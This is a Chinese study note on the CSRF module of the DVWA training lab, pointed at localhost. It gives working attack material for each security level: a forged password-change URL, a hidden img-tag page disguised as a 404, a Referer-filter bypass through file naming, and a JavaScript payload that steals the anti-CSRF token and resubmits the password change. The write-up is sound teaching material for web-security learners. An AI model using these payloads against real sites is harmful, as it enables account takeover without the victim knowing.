本系列文集: DVWA 学习笔记
1.PNG
<跨站请求伪造, 是指利用受害者尚未失效的身份认证信息 (cookie, 会话等), 诱骗其点击恶意链接或者访问包含攻击代码的页面, 在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的) 服务器发送请求, 从而完成非法操作(如转账, 改密等).>
CSRF 与 XSS 最大的区别就在于, CSRF 并没有盗取 cookie 而是直接利用.
该模块主要实现的是一个修改密码的操作, 两次输入想要修改的密码点击提交修改密码.
主要页面如下:
2.PNG
Low:
3.PNG
分析:
服务器收到修改密码的请求后, 会检查参数 password_new 与 password_conf 是否相同, 如果相同, 就会修改密码, 并没有任何的防 CSRF 机制, 所以我们只需要用户在 cookie 还有效的时间内在相同的浏览器访问我们给定的 url(该操作是服务器对请求的发送者进行了身份验证, 检查 cookie), 就可以实现 CSRF 攻击, 修改用户密码.
Exploit
1. 构造如下链接:
http://127.0.0.1/vulnerabilities/csrf/password_new=test&password_conf=test&Change=Change#
当受害者点击了这个链接, 密码就会被改成 test
2. 使用短链接来隐藏 URL:
为了更加隐蔽, 可以生成短网址链接, 点击短链接, 会自动跳转到真实网站:
4.PNG
因为本地搭的环境, 服务器域名是 ip 所以无法生成相应的短链接, 实际攻击场景下只要目标服务器的域名不是 ip, 是可以生成相应短链接的.
3. 构造攻击页面:
通过 img 标签中的 src 属性来加载 CSRF 攻击利用的 URL, 并进行布局隐藏, 实现了受害者点击链接则会将密码修改.
构造的页面 test.html 如下:
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2>
将 test.HTML 文件放在攻击者自己准备的网站上:
5.PNG
当受害者正在使用自己的网站 (浏览器中还保存着 session 值) 时, 访问攻击者诱惑点击的此链接:
http://127.0.0.1/hack/test.html
误认为是自己点击的是一个失效的 url, 但实际上已经遭受了 CSRF 攻击, 密码已经被修改为 test
6.PNG
我们将访问 test.HTML 时的数据包抓下来: 可以很清楚的看到密码已经被修改
7.PNG
Medium:
8.PNG
stripos(string,find,start): 函数查找字符串在另一字符串中第一次出现的位置, 不区分大小写.
eregi(string pattern, string string): 检查 string 中是否含有 pattern(不区分大小写), 如果有返回 True, 反之 False.
PHP 超全局变量 $_SERVER 中的两个值:
$_SERVER['HTTP_REFERER']:PHP 中获取链接到当前页面的前一页面的 url 链接地址, 即 HTTP 数据包中的 Referer 参数的值.
$_SERVER['SERVER_NAME']:PHP 中获取服务器主机的名称, 即 HTTP 数据包中的 Host 参数的值.
分析:
Medium 级别的代码检查了保留变量 HTTP_REFERER(http 包头的 Referer 参数的值, 表示来源地址)中是否包含 SERVER_NAME(http 包头的 Host 参数, 及要访问的主机名, 这里是 127.0.0.1), 希望通过这种机制抵御 CSRF 攻击. 一开始就调用 eregi()函数来判断 HTTP 头的 referer 字段里是不是包含 "127.0.0.1" 字符串, 即发送请求的是不是本机, 如果是则继续后面代码的执行.
Exploit
过滤规则是 http 包头的 Referer 参数的值中必须包含主机名(这里是 127.0.0.1)
我们可以将攻击页面命名为 127.0.0.1.HTML(页面被放置在攻击者的服务器里)就可以绕过了
9.PNG
我们还是按照之前的操作, 先诱惑受害者点击 http://127.0.0.1/test.html , 抓包, 并发送到 Repeater 中:
10.PNG
执行失败, 出现: That request didn't look correct.
此时让受害者访问 127.0.0.1.HTML 文件, 即在 Repeater 中修改 HTTP 数据包中的 Referer 参数为:
11.PNG
成功修改了密码:
12.PNG
High:
13.PNG
分析:
High 的代码加入了 Anti-CSRF token 机制, 用户每次访问改密页面时, 服务器会返回一个随机的 token, 向服务器发起请求时, 需要提交 token 参数, 而服务器在收到请求时, 会优先检查 token, 只有 token 正确, 才会处理客户端的请求.
Exploit
要绕过 High 的反 CSRF 机制, 关键是要获取 token, 要利用受害者的 cookie 去修改密码的页面获取关键的 token.Cookie, 指某些网站为了辨别用户身份, 进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).
试着去构造一个攻击页面, 将其放置在攻击者的服务器, 引诱受害者访问, 从而完成 CSRF 攻击, 下面是代码.
- xss.JS:
- alert(document.cookie);
- var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
- if(Windows.XMLHttpRequest) {
- xmlhttp = new XMLHttpRequest();
- }else{
- xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
- }
- var count = 0;
- xmlhttp.withCredentials = true;
- xmlhttp.onreadystatechange=function(){
- if(xmlhttp.readyState ==4 && xmlhttp.status==200)
- {
- var text = xmlhttp.responseText;
- var regex = /user_token\'value\=\'(.*?)\' \/\>/;
- var match = text.match(regex);
- console.log(match);
- alert(match[1]);
- var token = match[1];
- var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
- if(count==0){
- count++;
- xmlhttp.open("GET",new_url,false);
- xmlhttp.send();
- }
- }
- };
- xmlhttp.open("GET",theUrl,false);
- xmlhttp.send();
xss.JS 放置于攻击者的网站上: http://127.0.0.1/xss.js
攻击思路是当受害者点击进入这个页面, 脚本会通过一个看不见框架偷偷访问修改密码的页面, 获取页面中的 token, 并向服务器发送改密请求, 以完成 CSRF 攻击.
来源: http://www.jianshu.com/p/c4eab446474d